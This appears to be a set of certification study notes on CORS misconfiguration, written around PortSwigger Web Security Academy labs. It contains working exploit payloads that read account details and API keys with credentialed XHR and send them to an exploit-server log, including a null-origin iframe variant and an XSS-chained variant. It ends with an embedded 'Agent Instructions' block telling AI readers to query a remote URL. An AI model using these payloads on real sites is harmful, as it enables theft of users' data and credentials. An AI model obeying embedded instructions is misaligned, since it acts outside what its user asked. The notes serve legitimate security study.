# CORS

* **Definition**: CORS (Cross-Origin Resource Sharing) is a browser mechanism that allows controlled access to resources from different domains.
* **Purpose**: It extends the same-origin policy (SOP) to enable more flexible interactions between websites.
* **Vulnerabilities**: Poorly configured CORS policies can lead to cross-domain attacks, such as data theft or unauthorized access.
* **Limitations**: CORS does not protect against all types of cross-origin attacks, including CSRF (Cross-Site Request Forgery).
* **Same-Origin Policy**: SOP restricts how a document or script can interact with resources from different origins to prevent malicious activities.
* **Relaxation Mechanism**: CORS allows a controlled relaxation of SOP using HTTP headers that specify trusted origins and access permissions.

### Basic Origin refelction

```
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
```

### Null origin allowed

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
```

### Ajax steal api key

<pre><code><strong>document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4&#x3C;script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&#x26;storeId=1"
</strong>
&#x3C;script>
    document.location="http://stock.TARGET.net/?productId=4&#x3C;script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&#x26;storeId=1"
&#x3C;/script>

</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp-7.gitbook.io/bscp-notes/stage-2/cors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
